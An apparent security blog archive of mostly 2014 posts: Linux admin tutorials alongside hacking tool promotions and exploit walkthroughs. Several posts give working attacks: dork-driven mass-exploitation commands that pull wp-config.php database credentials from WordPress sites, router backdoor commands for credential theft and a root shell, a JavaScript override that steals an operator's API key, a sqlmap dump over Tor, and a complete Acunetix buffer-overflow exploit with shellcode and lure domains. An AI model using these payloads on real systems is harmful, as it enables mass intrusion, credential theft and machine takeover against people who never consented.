‏إظهار الرسائل ذات التسميات Video. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات Video. إظهار كافة الرسائل

الجمعة، 20 فبراير 2015

Nettool.sh - Automate frameworks For Nmap, Driftnet, Sslstrip, Metasploit And Ettercap MITM Attacks



Nettool.sh  - Automate frameworks For Nmap, Driftnet, Sslstrip, Metasploit And Ettercap MITM Attacks.

Netool.sh toolkit provides a fast and easy way For new arrivals to IT security pentesting and also to experience users to use allmost all features that the Man-In-The-Middle can provide under local lan, since scanning, sniffing and Social engineering attacks "[spear phishing attacks]"...

Netool its a toolkit written using 'bash, python, ruby' that allows you to automate frameworks like Nmap, Driftnet, Sslstrip, Metasploit and Ettercap MitM attacks. This toolkit makes it easy tasks such as SNIFFING tcp/udp traffic, Man-In-The-Middle attacks, SSL-sniff, DNS-spoofing, DoS attacks in wan/lan networks, TCP/UDP packet manipulation using etter-filters, and gives you the ability to capture pictures of target webbrowser surfing (driftnet), also uses macchanger to decoy scans changing the mac address.

Operative Systems Supported are:
Linux-ubuntu, kali-linux, backtack-linux (un-continued), freeBSD, Mac osx (un-continued)

Rootsector module allows you to automate some attacks over DNS_SPOOF + MitM (phishing - social engineering) using metasploit, apache2 and ettercap frameworks. Like the generation of payloads, shellcode, backdoors delivered using dns_spoof and MitM method to redirect a target to your phishing webpage. recent as introducted the scanner inurlbr (by cleiton). This tool brought to you by: peterubuntu10

Video:


Download

الأربعاء، 21 يناير 2015

Exploring Wordpress Theme Arbitrary File Download Vulnerability Exploits Available


Exploring Wordpress Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

Wordpress Theme U-Design Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/u-design/"
ACCESS: http://1337day.com/exploit/23143

-------------------------------------------------------------------------------------------

Wordpress Theme Terra Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/terra/"
ACCESS: http://1337day.com/exploit/23142
-------------------------------------------------------------------------------------------

Wordpress Theme Pindol Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/pindol/"
ACCESS: http://1337day.com/exploit/23144
-------------------------------------------------------------------------------------------

All themes above, are failing in the same revslider plugin.

POC:
http://[target]/[path]/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

Exploit developed can check about 20 themes, and allows check standard as follows.

POC -> /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
Which is the same as 0day mentioned above.

[Exploit ACCESS]
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html
Please download the exploit and put the name of exploit.php

Now let's use the inurlbr scanner as a mass explorer
[SCANNER INURLBR]
https://github.com/googleinurl/SCANNER-INURLBR

Command use INURLBR:
Ex: php inurlbr.php --dork 'you dork' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/u-design/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/terra/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/pindol/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

Brief introduction --comand
--comand-vul Every vulnerable URL found will execute this command parameters.
     Example: --comand-vul {command}
     Usage:   --comand-vul 'nmap sV -p 22,80,21 _TARGET_'
              --comand-vul './exploit.sh _TARGET_ output.txt'
 --comand-all Use this commmand to specify a single command to EVERY URL found.
     Example: --comand-all {command}
     Usage:   --comand-all 'nmap sV -p 22,80,21 _TARGET_'
              --comand-all './exploit.sh _TARGET_ output.txt'
    Observation:
    _TARGET_ will be replaced by the URL/target found, although if the user
    doesn't input the get, only the domain will be executed.
   _TARGETFULL_ will be replaced by the original URL / target found.

-------------------------------------------------------------------------------------------

INURLBR ADVANCED CONTROL

php inurlbr.php --dork 'YOU DORK revslider' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'



[TUTORIAL] - Wordpress A.F.D Verification/ INURL - BRASIL + SCANNER INURLBR



[TUTORIAL] - Hacking Panel Wordpress - Slider Revolution


[TUTORIAL] - Getting access to the Wordpress panel

Source: Inurl

الثلاثاء، 18 نوفمبر 2014

Exploiting CISCO Linksys Router WAG200G


Exploiting CISCO Router... Linksys WAG200G!

If you think that your Router can't be locally exploited, i will give you a hit!.

The OLD Modems can be easily exploited such as mine (Linksys WAG200G).

I've found this Great Exploit (valid also for other CISCO/Linksys Routers) developed by Eloi Vanderbeken :D

Let's now see what can we do with it!:

PoC Tool Link:

https://github.com/elvanderb/TCP-32764/archive/master.zip

How it works?

First of all we need thus Requirement(s):

Python (for run the Script) & ZenMap (for do a quick Scan of our open ports!)

After we have them into our System, we can run ZenMap Port Scanning tool using the following Command:

nmap -p 1-32764 192.168.1.1

We can see that (after a while...) for thus who has this Router the Vulnerable Port :32764 will comes up as:

"Unknown Service"

Okay, now let's run the PoC.py Script using the following Command:

PoC.py Command:

--ip 192.168.1.1 --get_credentials





With this command you will be able to gather your Router Credentials without need to change the Password or having a direct access into it! (Good for *geek kids* that would have an access to teh internet when their parents blocks it!.)

But...you can do even more than discover your Router Credentials!

Into the PoC.py Command Script, there's an option for enter directly into the Shell of our Local Target!

You can use this string (into the PoC.py Script):

--ip 192.168.1.1 --shell

This is our Result!

After we are inside it, of course, we can also deface it.

What can i say... HAPPY HACKING! ;-)

POC Video:




More Details:

Security Article -->
https://github.com/elvanderb/TCP-32764


Technical Presentation -->
https://github.com/elvanderb/TCP-32764/blob/master/backdoor_description.pptx

Brought to you By Christian Galeone, full credits goes to Eloi Vanderbeken - Thanks Dude for your finding!.
--------------------------------------------------------------------------------------

About the Author :
Christian Galeone is a Cyber Security Researcher from Italy, he's currently studying to ITCL Marco Polo ( Vocational Technical Institute | Vo-Tech ) attending the IT Programming Class.
He has been Acknowledged by the TOP 5 Companies including Yahoo!, Microsoft, AT&T, Sony etc.
He is currently working with HOC as author of Cyber Security & Critical Tools Research Articles.

-----------------------------------------------------

الاثنين، 27 أكتوبر 2014

Breaking Root Password-Shutdown Modes & Controlling Swap file in RHEL7 [#Video]


Breaking Root Password-Shutdown Modes & Controlling Swap file in RHEL7

The video Showing how to break root password in RHEL7. What are the different methods of shutdown or poweroff the RHEL7 machine. Difference between systemctl suspend and systemctl hibernate. How to manage swap file in RHEL7.



About The Author:
This tutorial has written by Alok Srivastava. He is the founder of Network Nuts, India's most loved Linux training company.

الخميس، 14 أغسطس 2014

Hack Your Digital Cable TV Network Using CSRF Remote Shutdown


A Security Researcher Team Garage4Hackers share with us that How they Hack Digital Cable TV Network Using CSRF Remote Shutdown. Rahul Sasi, One of the member of Garage4Hackers team said,

"It is hard to find any Hands on cable TV security materials on the internet. This is mainly because the infrastructure used by the cable operators are not easily available for every researcher. In our case we were lucky . From November 2013 I was working with one of the largest Cable TV networks in India who provides service to nearly 1 Million users. I agreed to a contract where we would do free security audits for the Cable operators infrastructure and in return they would allow me to publish my finds in any conference of my choice . And that was a sweet deal for me . I come from an application security background. And I had no clue about Digital cable networks an year back. So in the first blog post I would explain how I cracked the deal with the Cable Operators to audit their Infrastructure.

Cracking the Deal:Meeting with the Chief Technical Officer of the Cable Company
Unlike Internet where information is viewed with suspicion and misinformation can be quickly vetted through other sources, television is a one-to-many medium where there’s no quick way to identify a false broadcast. If someone hacks into a TV news stream and publishes a news stating that a riot has happened in the nearby city, then that could create a lot of panic in a country like India. 
Example Source: Hackers took control of TV feeds in Wenzhou China and streamed anti-communist slogans to millions of viewers. .

This was the main punch line I used when trying to convince the CTO why to do a Penetration testing for their infrastructure. Since he has not seen any real world attacks on his infrastructure , he was not that convinced to give me the project. But in the end he asked me if I could find any issues from outside, sort of like a black box testing. And If I could find something serious in 2 week he would consider giving me an opportunity. 

Web Application bugs in Digital Cable TV :
I have two weeks time and I need to find something quick. I started doing my homework and I learned one thing. There are nearly 1 million users for this service provider. And there are about 2000-3000 local cable operators, the local vendors who distributes the service to individual localities. All these 2000+ cable operators need to have some sort of application where they register their locality users, manages their billing operations etc. And there need to be some sort of centralized application to perform this operation. With some awesome google hacking techniques we were able to locate their centralized billing application aka Middleware server on the Internet [Woot Woot].

Bug 1: Code execution on Billing Server
In not much time I was able to Hijack the Middleware server . A small misconfiguration on their webserver lead to this hijack[ I am not allowed to talk about it]. What you see listed in the screenshot are all the connected Setup-box users who are clients to a particular local cable operator. If you notice those red buttons on left. Those could be used to remotely shutdown users cable service in case of a missing payment or something . This was more than enough to explain the criticality but I wanted to find more bugs so that it would be convincing. 

Name:  Screen Shot 2014-08-06 at 3.01.18 am.jpg Views: 858 Size:  23.3 KB

Bug 2 :Setup Box Hijack [STB]
The above web application allowed one operator to transfer STB to another operator. So for example if a user rahul from city Delhi relocates to city Agra. Then user rahul could get his STB unregistered from the local operator [D] at Delhi and get it reassigned to operator [A ] at Agra and continue using the STB and cable service. 

In the web application there is an option that lists all Existing local operators .Now the transfer takes place on basis of an access key. Operator A need to notify Operator B about the transfer and share his access key to operator B. This Access key implementation was flawed. 

The pseudo code was some what similar:

PHP Code:
<?php $ $apikey "select api_key from apis where username=.'mysql_escape($username)'"; $authenticated strcmp($apikey$_GET['key']); 
if (
$authenticated == 0) { 
print 
"Logged IN !"; 
} else { 
print 
"wrong API!"; 
} 
?>
Old bug PHP < 5.3.* : Passing an array will bypass the check. 
Name:  Screen Shot 2014-08-06 at 3.27.39 am.jpg Views: 846 Size:  11.9 KB

Php version older than 5.3 strcmp() implementation does not do a strict type checking. And if the input to strcmp function is an array then it returns a Null + warning. So simply enter an array instead of Access-key string. localhost/program.php?key=hacked[] and were able to bypass the key check. Now with this bug any local operator would be able to hijack any other operators STB s with out having a valid access key. 

Name:  Screen Shot 2014-08-06 at 3.37.17 am.jpg Views: 1156 Size:  20.3 KB

Bug 3: Cable TV Remote shutdown: CSRF bypass.

Name:  Screen Shot 2014-08-06 at 4.08.36 am.jpg Views: 1654 Size:  16.1 KB

Cable TV Operators control Clients via unique key [Chip ID] as seen in the screenshot.
This is accomplished via API Keys specific to the logged in admin.The implementation was flawed. 
The bug allowed a remote cable operator visiting a malicious webpage to remotely shutdown all Digital TV instances.

API Key Implementation


They had a super secret JS file, which gets dynamically loaded for a given admin.

PHP Code:
<script src=“load_secrets.js”></script> They had some pretty cool anti-stealing code as well.  
Code:
function checkUrl()
{
var url = get_current_url();
return url.match(url+'$') == 'flappybirds.com';
}
if(checkUrl())
{
var api_key = "77d11aea20ff61c6d1e23f044";alert(api_key);
populateFormFields(super_secret); // Injects this token into the hidden input fields
} else{
alert('Bad Domain !');
}
The Bypass:
Attacker can load, <script src=“load_secrets.js”></script>
But, checkAdmin() returns false and the attack would not work.But attacker can bypass this using,

PHP Code:
// From attacker.com <script> String.prototype.match = function() 
{ 
  return [
"flappybirds.com"]; 
} 
</script> <script src=“http://cable-tv.com/api_keys/load_secrets.js”></script>  
You should check out ahamed nafeez's slides from HITB to learn more cool similar js bugs.
http://haxpo.nl/wp-content/uploads/2...ill-Itself.pdf

We can host this code cross domain and make "String.prototype.match" , javascript .match() function to always return the value we specify . Any way if a local cable TV operator visits our page then we could now steal his API code hidden in the JS and then could use that to shut down all users in his locality . Remember the shutdown button I mentioned about in the previous bug. We used that shutdown feature to create a working POC. Check out the demo. Now any users cable access could be remotely shut down by an attacker."


Video:
 
 
About The Author:
Rahul Sasi, He is the member of Garage4Hackers (G4H) is an open group for Infosec enthusiasts. Our purpose is to help others develop through sharing knowledge, spreading security awareness, meeting like minded people, promoting research and obviously having fun in the process.

الخميس، 3 يوليو 2014

How To Secure the Linux Servers ?


How To Secure Linux Machine Console Access, Troubleshooting, tips and tricks to secure Linux. Linux configurations to secure your Linux server from unauthorized access sharing tips like securing run level one, securing grub using grub-crypt, locking down the operating system using grub, securing interactive start up of Linux machine and then recovering from a deleted /etc/shadow file.

Video:



About The Author:
This tutorial has sent by Alok Srivastava. He is the founder of Network Nuts, India's most loved Linux training company.

الأربعاء، 2 يوليو 2014

Learning Advance Puppet Manifests In Linux #Tutorial


Learning Advance Puppet Manifests In Linux. Puppet is an open source configuration management utility. Puppet can help you to reach a more consistent way of managing your servers. 

Step 1.

So first we start to understand what Puppet is, how relevant it is in today's environment? How Puppet is used to manage hundreds of Linux servers remotely?



Step 2.

In the 2nd step you learn the important of learning puppet in managing huge IT infrastructure. Puppet Master is used to push configurations for all Linux Servers known as Puppet Agents. Using Puppet Master you can install / remove packages, configure servers, create users, install / remove kernel updates, latest patches etc on hundreds of Linux servers without physically moving or accessing those machines. 
Puppet Agents are configured to go to Puppet Master and fetch their manifests.



Step 3.
In the third video we are learning about puppet manifests. Importance of puppet in managing Linux infrastructure. Puppet manifest installing, configuring and starting the ssh service on client machines. Writing the configuration files, only when it is not present using replace attribute within file resource of puppet manifest.



About The Author:
This tutorial has sent by Alok Srivastava. He is the founder of Network Nuts, India's most loved Linux training company.

الأحد، 29 يونيو 2014

Hack Your iPhone Untethered Jailbreak For iOS 7.1 And iOS 7.1.1 Available



Pangu released Untethered Jailbreak For iOS 7.1 and iOS 7.1.1. Pangu team members are all security researchers belong from China. Team released its first Jailbreak for iOS. Pangu untethered jailbreak is compatible with iPhone 5s, iPhone 5c, iPhone 4S, iPhone 4, iPad Air, iPad 4, iPad 3, iPad 2, iPad mini, Retina iPad mini and iPod touch 5G running iOS 7.1-iOS 7.1.1.

What is Jailbreak:
Jailbreak is an process to removing iOS limitation. We can modify the operating system running on Apple devices. If you jailbreak the device you can take advantage to install third party apps in your phone.


Steps to follow:

-> Make sure you have iTunes installed. 
-> Edit your iPhone's date to June 2, 2014 
-> Open the PanGu.exe file 
-> Click the black button to the right (also UNCHECK THE CHECKMARK where you see random characters and the "PP") 
-> As soon as the "brush stroke" loading bar fills to 20%, the PanGu app will appear on your phone 
-> Tap it Select Continue 
-> It will fill the loading brush stroke until 80% and your iTunes will open (it will only open IF you have iTunesHelper.exe on your Windows Taskbar) 
-> Close iTunes 
-> Your device will reboot
 -> When it opens again, wait for the brush stroke to complete to 100% 
-> Your device will reboot once more 
-> The process will be finished 100%
 -> The PanGu app will be replaced with Cydia 
-> Do your usual stuff by opening Cydia and continue with what you want to install by then.
 -> For precautionary measures, install Complete PPSync Remover (on http://cydia.angelxwind.net repo) because even though you uncheck the "PP" on step 4, it installs it anyway (internally without the app showing)

Compatible Devices:

This Untethered Jailbreak is compatible with following devices running iOS 7.1-iOS 7.1.1: 
-> iPhone 5s
 -> iPhone 5c 
-> iPhone 4S 
-> iPhone 4
 -> iPad Air 
-> iPad 4 
-> iPad 3 
-> iPad 2 
-> iPad mini 
-> Retina iPad mini 
-> iPod touch 5G

Video:

 
Download
For Mac 
For Windows

الخميس، 12 يونيو 2014

XSSYA Cross Site Scripting And Vulnerability Confirmation Scanner


XSSYA Cross Site Scripting Scanner & Vulnerability Confirmation written in python scripting language confirm the XSS Vulnerability in two method first work by execute the payload encoded to bypass Web Application Firewall which is the first method  request and response if it respond 200 it turn to Method 2 which search that payload decoded in web page HTML code if it confirmed get the last step which is execute document.cookie to get the cookie.
This tool will help you to scan XSS as manually.

XSSYA Features

* Support HTTPS
* After Confirmation (execute payload to get cookies)
* Can be run in (Windows - Linux)
* Identify 3 types of WAF (Mod_Security - WebKnight - F5 BIG IP)
*XSSYA Continue Library of Encoded Payloads To Bypass WAF (Web Application Firewall)
* Support Saving The Web HTML Code Before Executing
the Payload Viewing the Web HTML Code into the Screen or Terminal


Video:


More details
http://www.secure-edf.com/xssya.html

Download
https://github.com/yehia-mamdouh/XSSYA

 
About The Author:
Yehia Mamdouh, He is Senior Security Researcher & Web Penetration Tester at Defencely
And Cofounder & Instructor of Master Metasploit Course At BlueKizen.
He wrote numerous articles In Web attacks ,PDF forensics and Network attack  in Hakin9 Magazine, SecurityKaizen Magazine He also get Acknowledged in the hall of fame of  many website like (  Delevoers.com , Sonatype.com, marktplaats.nl, fogcreek.com, opentext.com, pinoyhacknews.com)

الثلاثاء، 20 مايو 2014

How To Install Tor - Polipo Proxy With SQLMap [#Video]


How to install Tor - Polipo Proxy With SQLMap? 

Commands:


Install tor + polipo and then back up

# apt-get install tor tor-geoipdb polipo
# cp /etc/polipo/config /etc/polipo/config.bkp

Replace the config file polipo by the pastebin file

# vim /etc/polipo/config
ou
# gedit /etc/polipo/config

Polipo configuration file

http://pastebin.com/sRLvt0ue

Restart the services

# service tor restart
# service polipo restart

# python sqlmap.py -u "SITE HERE" --random-agent -v 3 --tor --check-tor --dbs --threads=5


Video:


السبت، 26 أبريل 2014

Zero Day Vulnerability In Acunetix Scanner POC

Zero Day Vulnerabillty In Acunetix Scanner Buffer Flow Attack. Security researcher Danor Cohen, israel known as An7i has shared the trick with us that how he found the Zero Day vulnerability in Acunetix Web vulnerability scanner tool.

" A new 0DAY that will help security managers to protect their web sites against many vulnerability scans.



A lot of sites owners will tell you that the majority numbers of scans, performed against their sites, are performed by automatic tools like NESSUS, ACUNETIX, and APPSCAN.


Today 0DAY will be focused on one of the most popular web scan in the world, ACUNETIX.


The POC will be against ACUNETIX 8 (build 20120704 since it’s one of the most common cracked version which was published in the net and used by many newbie hackers).


This disclosure will not only reveal a new vulnerability, but demonstrates a whole new perception of dealing with external attacks.


Instead of protecting your web sites again and again, or buying a new advanced WAF (web application firewall), let’s give the attackers a reason to be afraid, reason to think twice before they press the “SCAN” button.


In this article, I will not give a full working exploit for all scan scenarios nor for all operating systems, but a proof of concept that hopefully will grow into a new effort of research for vulnerabilities in Penetration test tools. 




So let’s get our hands dirty 





ACUNETIX is a powerful tool for scanning and finding vulnerabilities at websites.
Many newbie attackers tend to use this tool due to the simplicity of its use.
ACUNETIX offers its users a simple wizard base scan that covers many aspects of the vulnerability scan.
One of the aspects is the ability to scan more domains or sub domains related to the scanned website.For example, if we scan my blog “http://an7isec.blogspot.co.il”, we will get the result shown below:




After a little research about this option, I figured out that ACUNETIX starts its wizard by sending an HTTP request to the site and learning about it from its HTTP response.


Furthermore the wizard learns about the external related domains from the external sources that appear at the website, for example:


“<img src=http://externalSource.com/someimg.png >”


“<a href=http://externalSource.com/ ></a>”


 Etc...




Further Analysis reveals that if one of the external domain name length is more than 268 Byte’s, ACUNETIX will be crashed , so if we want to cause a crash, all we need to do is to put some kind of external source at our site, which have the length of 268 Byte’s or more, say something like this:


<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA”> 
Quick view of this application in Immunity Debugger reveals that EDX was corrupted by the fuzzing string which caused access violation:








Despite the fact that further writing runs over the Structured Exaction Handler (SEH) as you will probably notice ,my advice for you is not to go that way, believe me I tried it for several days with no success (because of the safe SHE mechanism).



However, we have another problem with this  exploit, In one word, “ASCII”.

ACUNETIX gets its information about external domains as a URL.

This fact causing the string to be converted into Web Browser friendly string.

While ASCII accepts chars like:

0x22 (“), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (\), 0x2F (/) and more …



URL string accepts only printable alphanumeric chars and URL converted special chars (with few exceptions).

So if my external source contains one of the special chars, they will be converted into         

”%SOMETHING”.

For example, the char "quotes" (“) will be converted into 253232 in the memory because it’s the translation of %22.



Another example that demonstrates the URL encoding is: the char "percent" (%)  which will be converted into 253235 in the memory.

Bypassing it, will be by building an exploit that contains only "A-Z, a-z, 1-0" chars and few special chars that aren’t converted in the process of URL ENCODE like:

 "! ( ) = } { " .

(not a simple job at all)



In short, I had to find a way to fix the flow of the application in order to avoid SEH based exploit (Because it was impossible to bypass safe SHE protection with URL ASCII strings only).



Finally, I found a way.
In order to fix the flow, EDX had to be overwritten with a readable memory address.


Nevertheless, it is important to remember that EDX is not been used as is, but minus 8:



MOVE ECX, DWORD PTR DS: [EDX-8]; 

Meaning that it doesn’t matter which memory address we use, we should add 8 to the address (in the exploit), convert the whole address into printable URL STRING, and hope to the best.


After little research, I found such an address.

The address was at “0x663030XX” and luckily it had the possibility to be converted into URL String without special bad char's --> " f005 ".

After playing with the code I found that the exact location of that EDX overwrite, is at 268 Byte's offset.

So for now our exploit looks like this:





<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>



Running ACUNETIX's scan against that payload, caused the next result:


As you can see above, the EIP was overwritten!!
It appears that the idea of fixing the flow was successful since it enabled me to be in a better position of attack (EIP overwrite). 
Beside it, our potential space for shell code is now presented in EAX and ESP.
When it comes to the decision whether choosing ESP or EAX, ESP is a better choice from two different aspects:

One, ESP is pointing directly at the beginning of the shell string.

Two, there is much more space for a biggest shell code to be written.

After I chose ESP, I needed to find an instruction of “JMP ESP” in a memory address that could be written by URL string (limited ASCII as mention above).
The desired address successfully founded at the location of: 0x7e79515d (SXS.DLL) – 
(In ASCII “ ]Qy~ “).

After all that, our shell code supposed to look like this:

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”> 

  • 500f= 0x66303035 : readable memory location for fixing the flow of the application that was corrupted by the buffer overflow.

  • ]Qy~= 0x7e79515d (JMP ESP from SXS.DLL).
OK, right now we are at the semifinal stage, running the application against above payload, produced the next result:



Yea… we landed exactly at the beginning of the final payload.




The next step will be to use suitable windows shell that will be made only from URL string (limited ASCII).

Such shell can be generated with “ Metasploit ” and it is called "Alphanumeric Shell".

The important thing to remember while using such payload, is that the payload's start address must be presented at one of the registers. If the payload presents at ESP, the first OP CODE of the shell need to be "PUSH ESP".

In my Proof of concept, I used simple "CALC.EXE" shell code generated by “Metasploit  that  led me to the final stage which is ;working exploit!!

Moreover, our exploit is successfully bypassing DEP protection, simply by choosing only the addresses that aren’t compiled with DEP.

And due to the fact that ACUNETIX itself is not complied with DEP, this exploit should work perfectly on windows XP.


After successfully reaching all our goals, Let’s look on the final working exploit:


<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB 0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9 JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6 LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>

We need to remember that in order to enjoy our exploit, the newbie hacker must check our extra domain name, in the list of the extra domains in ACUNETIX wizard window.

So what can we do in order to make our domain name attractive?

Thinking about it, I came up with two ideas:



1: writing some attempting domain name that will make the hackers check that domain, like, ADMIN.ControlMangment.1249874350345.An7isec.blogspot.co.il  .



2: using several external domains with the following names: 



“SQLINJECTION”


“XSS”


“CSRF”

And so on…



These kind of names will probably give the eye of the hacker the feeling that the domain list window is actually an options window.

The written code bellow demonstrates that kind of misleading:


<html> <img src="http://SQLInjection........................................ ..................................................................... ..................................................................... ............AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB 0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9 JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6 LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS................................................. ..................................................................... ..................................................................... ...">
<img src="http://CSRF................................................ ..................................................................... ..................................................................... ....">
<img src="http://DeepScan............................................ ..................................................................... ..................................................................... ........">
<img src="http://NetworkScan......................................... ..................................................................... ..................................................................... ...........">
<img src="http://DenialOfService..................................... ..................................................................... ..................................................................... ...............">
</html>












In conclusion,



Following all the above, we created a powerful exploit that Newbie hackers

will definitely fall for.

This exploit will give us the ability to do everything with all that nasty Newbie hackers that scan our sites day and night, killing our traffic, filling all the web site forms with junk and so on…

Furthermore it can be used in order to collect smart intelligence about hostile forces who want to attack our web application.



BUT!!

The more powerful idea that motivated me to reveal this concept and POC, is the fact that this exploit is Anonymity killer! , because even if the attacker uses the most smart and secure proxy in the world, such as "TOR" and others, his ass will be revealed and full control on his scanning machine will be gained.



Thanks all for reading my post, hope you enjoy it,

Happy hunting, An7i


Download Exploit here


P.S.
Here is a fully functional exploit video and Perl script that generates custom exploit:"



About the Author:
Danor Cohen, israel known as An7i in the wide net, Penetration tester and security researcher at AVNET Information security and cyber.